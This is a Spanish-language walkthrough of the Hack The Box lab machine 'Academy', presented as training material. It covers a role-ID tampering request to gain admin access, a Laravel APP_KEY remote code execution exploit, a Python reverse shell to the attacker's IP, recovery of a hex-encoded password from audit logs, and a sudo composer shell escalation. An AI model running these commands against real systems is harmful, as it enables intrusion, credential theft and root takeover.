Academy
https://www.hackthebox.eu/home/machines/profile/297
Resumen: Maquina Linux con tres puertos abiertos 22:ssh, 80:http y 33060:?mysql, en el servicio http existe un login para administrador y para usuarios, también podemos registrarnos como un usuario, se modificarán los datos que se envían para registrarnos como administrador. Al registrarnos como administrador y acceder al virtual host que aparece en el ítem, podemos ver que se trata de un framework de código abierto llamado Laravel, el cual está mostrando información sensible como el api key, es posible realizar ejecución de código remoto. Posteriormente para escalar privilegios se necesita indagar en los directorios /var/www/html/ para obtener la contraseña de cry0l1t3, el usuario cry0l1t3 pertenece al grupo adm por lo tanto podemos leer logs, ahí se encuentra la contraseña de mrb3n encodeada en hexadecimal. Para finalizar con el usuario mrb3n listamos los privilegios delegados con sudo -l y nos aprovechamos de composer.

Enumeración
Lo primero que hago es realizar un escaneo con nmap para saber los puertos abiertos en el rango del 1-65536.
# nmap -p- --open -n -T5 10.10.10.215 -oG allPorts
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-21 17:22 CST
Nmap scan report for 10.10.10.215
Host is up (0.075s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
Nmap done: 1 IP address (1 host up) scanned in 25.73 seconds
Bandera
Descripción
-p-
Escaneo a los 65536 puertos
--open
Reporta solo los puertos con estado "open".
-T5
Exploracion a velocidades insanas (lo hago porque es un entorno de pruebas).
-v
Muestra más información sobre el sondeo que se está realizando.
-oG allPorts
Exporta los resultados en un formato Grepable con el nombre de allPorts.
Posteriormente verificamos las versiones de los servicios y haremos uso de scripts por default.
# map -sCV -p22,80,33060 -oN targeted
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-21 17:29 CST
Nmap scan report for 10.10.10.215
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
| 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=2/21%Time=6032ECC4%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 21 17:29:29 2021 -- 1 IP address (1 host up) scanned in 28.39 seconds
Bandera
Descripción
-p21,22,80
Escaneo a los puertos 21, 22 y 33060.
-sC
Escanea con los scripts por defecto.
-sV
Intenta determinar la versión del servicio que se ejecuta en el puerto.
-oN
Exporta los resultados en un formato nmap.
Añadimos el virtual host a /etc/hosts.
# echo ‘10.10.10.215 academy.htb’ >> /etc/hosts
Utilizando dirsearch hicimos fuzzing para determinar archivos y directorios disponibles.

Antes de empezar, lo que recomiendo es actuar como un usuario normal, registrarse y empezar a interactuar en la página, por si vemos algo interesante.
Podemos ver que existe un login para usuarios y administrador, lo primero que hice fue probar algunas sentencias SQL para saber si era vulnerable a ataques SQL injection pero no obtuve resultado.

Después pase a registrarme y a analizar la petición para observar los datos que se envían, podemos iniciar sesión como usuario, pero no hay información relevante. Ahora que sabemos que se envían cuatro datos podemos modificar la petición.

El dato roleid se puede modificar, el roleid 0 es un usuario normal, mientras que el roleid 1 es administrador. Ahora solo enviamos la petición con curl y podemos iniciar sesión como administrador.
# curl --data "uid=testadmin&password=&qwerty1234$confirm=&qwerty1234$roleid=1" http://academy.htb/register.php

El último ítem indica que se debe solucionar un problema en dev-staging-01, para comprobar el contenido debemos de agregar el host virtual al archivo /etc/hosts para tener comunicación.
# echo ‘10.10.10.215 dev-staging-01.academy.htb’ >> /etc/hosts

Punto de acceso
Accedemos a la página web y mirando hacia abajo, hay información interesante como la siguiente:
DB_USERNAME "homestead"
APP_KEY "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
Ahora haciendo una búsqueda simple en google como “laravel api key exploit”, es posible el exploit y algunas PoC.
Primero clonamos el repositorio.
# git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
2. Ejecutamos el exploit, vamos a necesitar la url, api key e indicar el parámetro de shell interactiva.
# python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive
3. Una vez estando en el modo interactivo no es posible establecer una shell totalmente interactiva. Por ejemplo, no es posible abrir una pseudo consola con python3 -c “import pty;pty.spawn(‘/bin/bash’)” por lo que intente realizar una reverse shell con python3 y ponerme en escuchó con netcat.

4. Primero nos ponemos en escucha desde nuestra máquina.
# nc -lvnp 8000
5. Ejecutamos la reverse shell desde el servidor.
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.101",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ahora podemos obtener una shell totalmente interactiva. Aquí un ejemplo (agregar enlace).
Después de un rato enumerando el sistema, recordé que laravel está instalado y tiene dos versiones, empecé filtrando con palabras claves como “PASSWORD”, “PASSWD” o “USERNAME”. En el siguiente directorio:

Movimiento lateral
Usuario cry0l1t3
Normalmente utilizo diff para ver las diferencias de archivos. En este caso a las dos carpetas con versiones diferentes.
# diff /var/www/html/academy/ /var/www/html/htb-academy-dev-01/
Tenemos una contraseña, probé la contraseña con los usuarios con id mayor a 1000.

La contraseña pertenece al usuario cry0l1t3.

Visualizando los grupos del usuario:
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
Usuario mrb3n
El usuario pertenece al grupo adm, el grupo de monitoreo de tareas del sistema. Permite utilizar xconsole y leer archivos de /var/log sin tener que utilizar los comandos su o sudo. Usualmente para administradores. El nombre del grupo proviene de que /var/log inicialmente fue /usr/adm y posteriormente /var/adm. Nos damos una idea sobre lo que tenemos que hacer, debemos ir a /var/log para encontrar algun password.
Visualizamos los archivos del grupo adm.
$ ls -la /var/log | grep adm
En el siguiente enlace podemos ver que en la carpeta /var/log/audit, con cierta configuración se almacena contraseñas https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/, de la siguiente manera podemos filtrar cuales son los comandos que se ejecutan con su y sudo.
$ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
/var/log/audit/audit.log.3:type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
Los datos están codificados en hexadecimal.
# python2 -c "print(\"6D7262336E5F41634064336D79210A\".decode('hex'))"
mrb3n_Ac@d3my!
Escalada de privilegios
La misma contraseña nos dice de que usuarios mrb3n. Al seguir enumerando el sistema, Verificando los permisos con sudo -l podemos ver que podemos hacer uso de composer https://gtfobins.github.io/gtfobins/composer/#sudo.
$ TF=$(mktemp -d)
$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
$ sudo composer --working-dir=$TF run-script x

Last updated
Was this helpful?